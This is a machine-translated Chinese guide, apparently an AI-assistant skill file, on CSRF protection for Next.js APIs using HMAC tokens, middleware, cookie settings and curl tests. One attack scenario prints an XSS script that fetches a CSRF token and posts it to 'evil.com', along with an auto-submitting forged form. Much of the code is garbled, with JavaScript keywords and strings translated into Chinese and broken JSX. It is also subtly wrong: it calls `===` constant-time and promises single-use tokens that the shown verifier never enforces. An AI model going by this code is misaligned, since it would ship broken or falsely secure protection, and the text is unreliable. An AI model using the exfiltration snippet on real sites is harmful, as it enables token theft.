# CSRF 保护 - 防止跨站请求伪造 ## 什么是 CSRF 攻击 ### 攻击场景想象一下您已登录银行应用程序。在另一个选项卡中，您访问恶意网站。该网站包含隐藏代码，可向您的银行提交表格：“将 10,000 美元转入攻击者的帐户。”由于您已登录，因此您的浏览器会自动发送您的会话 cookie，然后银行会处理转账。这是**跨站点请求伪造** — 欺骗您的浏览器发出您不希望的请求。 ### 真实世界的 CSRF 攻击 **路由器 DNS 劫持 (2008)：** 多个家庭路由器中的 CSRF 漏洞允许攻击者通过诱骗用户访问恶意网站来更改路由器 DNS 设置。受害者没有损失任何金钱，但在几个月内被重定向到网络钓鱼网站。数百万路由器受到影响。 **YouTube 操作 (2012)：** YouTube 存在 CSRF 漏洞，允许攻击者通过诱骗其他用户访问精心设计的 URL 来像其他用户一样执行操作（例如订阅等）。 ### 为什么 CSRF 仍然很常见根据 OWASP 的数据，CSRF 漏洞出现在 **35% 的测试 Web 应用程序**中。为什么？ * 工作时是不可见的（用户不知道他们提出了请求） * 容易忘记实现（没有明显损坏的功能） * 开发人员通常仅依赖身份验证而不检查请求来源 ## 我们的 CSRF 架构 ### 实现特性 1. **HMAC-SHA256 加密签名**（行业标准） * 提供加密证明令牌是由我们的服务器生成的 * 即使被拦截，攻击者也无法在没有密钥的情况下伪造令牌 2. **会话绑定令牌** * 令牌不能在不同的用户会话之间使用 * 每个用户都会获得独特的代币 3. **一次性代币** * 验证后清除token * 机会之窗是几秒钟，而不是几小时 * 如果被捕获，一次请求后就没用了 4. **仅限 HTTP 的 Cookie** * JavaScript无法访问令牌 * 防止基于 XSS 的令牌盗窃 5. **SameSite=严格** * 浏览器不会在跨源请求上发送 cookie * 额外的保护层 ### 实施文件 * `lib/csrf.ts` \- 加密令牌生成 * `lib/withCsrf.ts` \- 中间件强制验证 * `app/api/csrf/route.ts` \- 客户端的令牌端点 ## 如何使用 CSRF 保护 ### 第 1 步：包裹您的处理程序对于任何 POST/PUT/DELETE 端点：从 'next/server' 导入 { NextRequest, NextResponse }; 从'@/lib/withCsrf'导入{withCsrf}；异步函数处理程序（请求：NextRequest）{ // 这里是你的业务逻辑 // 通过withCsrf自动验证Token 返回 NextResponse.json({ success: true }); } // 应用CSRF保护导出 const POST = withCsrf(handler); 导出常量配置= { runtime: 'nodejs', // 加密操作所需 }; ### 第 2 步：客户端获取令牌在发出受保护的请求之前，请获取 CSRF 令牌： // 获取CSRF令牌 const 响应 = 等待 fetch('/api/csrf', { 凭证：“包括” }); const { csrfToken } = 等待响应.json(); // 在POST请求中使用token 等待 fetch('/api/your-endpoint', { 方法：'POST'，标题：{ '内容类型'：'应用程序/json'， 'X-CSRF-Token': csrfToken // 在标头中包含令牌 }, 凭证：'include'，//重要：发送cookie 正文：JSON.stringify(数据) }); ### 第 3 步：自动发生什么当 `withCsrf()` 包装你的处理程序时： 1.从“X-CSRF-Token”标头中提取CSRF令牌 2.从请求中提取CSRF cookie 3. 使用 HMAC 验证令牌与 cookie 匹配 4.验证后清除token（一次性使用） 5. 如果有效 → 致电您的处理人员 6. 如果无效→返回HTTP 403 Forbidden ## 完整示例：受保护的联系表 // 应用程序/api/contact/route.ts 从 'next/server' 导入 { NextRequest, NextResponse }; 从'@/lib/withCsrf'导入{withCsrf}；从 '@/lib/withRateLimit' 导入 { withRateLimit }；从 '@/lib/validateRequest' 导入 { validateRequest }；从 '@/lib/validation' 导入 { contactFormSchema }；从'@/lib/errorHandler'导入{handleApiError}；异步函数 contactHandler(请求: NextRequest) { 尝试{ const body =等待request.json(); // 验证输入 const 验证 = validateRequest(contactFormSchema, body); if (!validation.success) { 返回验证响应； } const { 姓名、电子邮件、主题、消息 } =validation.data; // 处理联系表单等待发送电子邮件({ 至：'admin@example.com'，来自：电子邮件，主题，留言 }); 返回 NextResponse.json({ success: true }); } 捕获（错误）{ return handleApiError(error, '联系表单'); } } // 同时应用速率限制和 CSRF 保护导出 const POST = withRateLimit(withCsrf(contactHandler)); 导出常量配置= { 运行时：'nodejs'， }; ## 前端集成示例 // 组件/ContactForm.tsx '使用客户端'；从'react'导入{useState}；导出函数 ContactForm() { const [formData, setFormData] = useState({ 名称：''，电子邮件：''，主题：''，消息：'' }); 异步函数handleSubmit(e: React.FormEvent) { e.preventDefault(); 尝试{ // 1. 获取CSRF令牌 const csrfRes = 等待 fetch('/api/csrf', { 凭证：“包括” }); const { csrfToken } = 等待 csrfRes.json(); // 2. 使用 token 提交表单 const 响应 = 等待 fetch('/api/contact', { 方法：'POST'，标题：{ '内容类型'：'应用程序/json'， “X-CSRF-令牌”：csrfToken }, 凭据：“包括”，正文：JSON.stringify(formData) }); 如果（响应.ok）{ alert('消息发送成功！'); setFormData({ 姓名: '', 电子邮件: '', 主题: '', 消息: '' }); } else if (response.status === 403) { alert('安全验证失败，请刷新后重试。'); } else if (response.status === 429) { alert('请求过多，请稍等。'); } 否则{ alert('发送消息失败，请重试。'); } } 捕获（错误）{ console.error('错误：', 错误); alert('发生错误，请重试。'); } } 返回（

<输入类型=“文本” 占位符=“名称” 值={formData.name} onChange={(e) => setFormData({ ...formData, name: e.target.value })} 需要 /> <输入类型=“电子邮件” 占位符=“电子邮件” 值={formData.email} onChange={(e) => setFormData({ ...formData, email: e.target.value })} 需要 /> <输入类型=“文本” 占位符=“主题” 值={formData.subject} onChange={(e) => setFormData({ ...formData, subject: e.target.value })} 需要 /> <文本区域占位符=“消息” 值={formData.message} onChange={(e) => setFormData({ ...formData, message: e.target.value })} 需要 /> ）； } ## 攻击场景及防护 ### 攻击1：恶意网站提交表单 **攻击：** <输入类型=“隐藏”名称=“确认”值=“是”/> <脚本> document.forms[0].submit(); // 自动提交 **保护：** * 请求中没有 CSRF 令牌 → withCsrf() 返回 403 * 用户账户安全 ### 攻击 2：XSS 尝试读取令牌 **攻击：** // 攻击者通过XSS注入脚本获取（'/api/csrf'） .then(r => r.json()) .then(数据 => { // 向攻击者发送令牌 fetch('https://evil.com/steal', { 方法：'POST'，正文：JSON.stringify({ 令牌：data.csrfToken }) }); }); **保护：** * 令牌是一次性的 * 即使被盗，在一次请求后就会过期 * HTTPOnly cookie 防止 cookie 被盗 * SameSite=严格防止跨源cookie发送 ### 攻击 3：中间人捕获令牌 **攻击：** 攻击者拦截网络流量并捕获 CSRF 令牌。 **保护：** * 一次性代币使用一次后失效 * 生产中需要 HTTPS（由 HSTS 强制执行） * 机会窗口短（秒） ## 技术实施细节 ### 令牌生成 (lib/csrf.ts) 从 'crypto' 导入 { createHmac, randomBytes }; 导出函数generateCsrfToken(sessionId: string): string { const 秘密 = process.env.CSRF_SECRET; 如果（！秘密）{ 抛出新错误（'CSRF_SECRET 未配置'）； } // 生成随机令牌 const token = randomBytes(32).toString('base64url'); // 创建HMAC签名 const hmac = createHmac('sha256', 秘密) .update(`${token}:${sessionId}`) .digest('base64url'); // 返回令牌：hmac 返回 `${token}.${hmac}`; } 导出函数 verifyCsrfToken( 令牌：字符串，会话 ID：字符串 ): 布尔值 { const 秘密 = process.env.CSRF_SECRET; if (!secret || !token) 返回 false; const [tokenPart, hmacPart] = token.split('.'); if (!tokenPart || !hmacPart) 返回 false； // 重新创建HMAC const ExpectedHmac = createHmac('sha256', 秘密) .update(`${tokenPart}:${sessionId}`) .digest('base64url'); // 恒定时间比较，防止定时攻击返回hmacPart ===预期Hmac； } ### 中间件包装器 (lib/withCsrf.ts) 从 'next/server' 导入 { NextRequest, NextResponse }; 从 './csrf' 导入 { verifyCsrfToken } ；导出函数 withCsrf( 处理程序：（请求：NextRequest）=> Promise ）{ 返回异步（请求：NextRequest）=> { // 从 header 中获取 token const token = request.headers.get('X-CSRF-Token'); // 从cookie中获取会话ID（简化） const sessionId = request.cookies.get('sessionId')?.value; if (!token || !sessionId) { 返回 NextResponse.json( { 错误：'CSRF 令牌丢失' }, {状态：403} ）； } // 验证令牌 if (!verifyCsrfToken(令牌, sessionId)) { 返回 NextResponse.json( { 错误：'CSRF 令牌无效' }, {状态：403} ）； } // 令牌有效 - 调用处理程序返回处理程序（请求）； }; } ## CSRF 保护可以防止什么 ✅ **跨站点请求伪造** \- 主要保护 ✅ **会话固定攻击** \- 令牌绑定到会话 ✅ **跨源表单提交** \- SameSite=Strict ✅ **隐藏 iframe 攻击** \- 需要令牌验证 ✅ **一键攻击** \- 令牌获取步骤阻止 ## 要避免的常见错误 ❌ **不要跳过 CSRF 进行 POST/PUT/DELETE** // 不好 - 没有 CSRF 保护导出异步函数 POST(request: NextRequest) { // 脆弱！ } ❌ **不要将 CSRF 令牌放入 URL 参数** // BAD - URL 中的令牌（已记录、已添加书签、已共享） fetch(`/api/endpoint?csrf=${token}`) ❌ **不要重复使用代币** // 不好 - 存储令牌以供重用 const saveToken = getCsrfToken(); // 稍后... useSavedToken(savedToken); // 可能已过期/无效 ❌ **不要忘记凭据：“包含”** // 不好 - Cookie 不会被发送 fetch('/api/端点', { headers: { 'X-CSRF-Token': 令牌 } // 缺少：凭据：'include' }); ✅ **请为每个敏感操作获取新鲜令牌** ✅ **请使用 X-CSRF-Token 标头（而不是 URL）** ✅ **请应用于所有状态更改操作** ✅ **请与速率限制相结合以实现最大程度的保护** ## 测试 CSRF 保护 ### 测试 1：有效请求 # 获取CSRF令牌 TOKEN=$(curl -s http://localhost:3000/api/csrf \ -c cookies.txt | jq -r '.csrfToken') # 使用令牌卷曲 -X POST http://localhost:3000/api/example-protected \ -b cookies.txt \ -H“内容类型：application/json”\ -H“X-CSRF-令牌：$TOKEN”\ -d '{"标题": "测试"}' # 预期：200 好 ### 测试 2：缺少令牌卷曲 -X POST http://localhost:3000/api/example-protected \ -H“内容类型：application/json”\ -d '{"标题": "测试"}' # 预期：403 Forbidden - CSRF 令牌丢失 ### 测试 3：无效令牌卷曲 -X POST http://localhost:3000/api/example-protected \ -H“内容类型：application/json”\ -H "X-CSRF-Token: fake-token-12345" \ -d '{"标题": "测试"}' # 预期：403 Forbidden - CSRF 令牌无效 ### 测试 4：令牌重用（应该失败） # 获取令牌 TOKEN=$(curl -s http://localhost:3000/api/csrf \ -c cookies.txt | jq -r '.csrfToken') # 使用一次（成功）卷曲 -X POST http://localhost:3000/api/example-protected \ -b cookies.txt \ -H“X-CSRF-令牌：$TOKEN”\ -d '{"标题": "测试"}' # 尝试重用相同的令牌（应该会失败）卷曲 -X POST http://localhost:3000/api/example-protected \ -b cookies.txt \ -H“X-CSRF-令牌：$TOKEN”\ -d '{"标题": "test2"}' # 预期：403 Forbidden - 令牌已使用 ## 安全 Cookie 配置 ### Cookie 安全设置对于应用程序中的任何自定义 cookie，请始终使用以下安全设置： response.cookies.set('cookie-name', value, { httpOnly: true, // 防止XSS访问 sameSite: 'strict', // CSRF 保护 secure: process.env.NODE_ENV === '生产', // 仅在产品中使用 HTTPS maxAge: 3600, // 过期时间（1小时） path: '/', // Cookie 范围 }); **安全属性解释：** * **`httpOnly: true`** \- JavaScript 无法通过 `document.cookie` 访问 cookie，防止 XSS 窃取 * **`sameSite: 'strict'`** \- 浏览器不会在跨源请求上发送 cookie，从而阻止 CSRF * **`secure: true`** \- Cookie 仅通过 HTTPS 发送（防止中间人拦截） * **`maxAge`** \- Cookie 过期时间（以秒为单位）（更短 = 更安全） * **`path: '/'`** \- cookie 有效的地方（如果可能的话限制） ### 要避免的常见 Cookie 错误 ❌ **切勿这样做：** // 不好 - 缺少安全标志 response.cookies.set('session', sessionId); // 不好 - 没有 httpOnly（容易受到 XSS 攻击） response.cookies.set('session', sessionId, { httpOnly: false }); // 不好 - sameSite: 'none'（允许 CSRF） response.cookies.set('session', sessionId, { sameSite: 'none' }); // 不好 - 没有过期（永不过期） response.cookies.set('session', sessionId, { httpOnly: true }); ✅ **始终这样做：** // 好 - 所有安全标志 response.cookies.set('会话', sessionId, { httpOnly：正确， sameSite: '严格', 安全：process.env.NODE_ENV === '生产'， maxAge: 3600, // 1 小时路径：'/' }); ## 环境配置 ### 所需的环境变量 # .env.local CSRF_SECRET=<32 字节-base64url-字符串> SESSION_SECRET=<32 字节-base64url-字符串> ### 生成秘密 # 生成CSRF_SECRET 节点-p“require（'crypto'）.randomBytes（32）.toString（'base64url'）” # 生成SESSION_SECRET 节点-p“require（'crypto'）.randomBytes（32）.toString（'base64url'）” ⚠️ **重要：** * 切勿将秘密提交给版本控制 * 对开发/登台/生产使用不同的秘密 * 定期轮换秘密（建议每季度一次） ## 参考文献 * OWASP CSRF 预防备忘单： * 2021 年 OWASP 前 10 名 - A01 损坏的访问控制： * MDN SameSite Cookie： ## 后续步骤 * 对于速率限制保护：使用`rate-limiting`技能 * 对于输入验证：使用“input-validation”技能 * 为了完整的 API 安全性：结合 CSRF + 速率限制 + 验证 * 用于测试：使用“安全测试”技能

CSRF保护

包含技能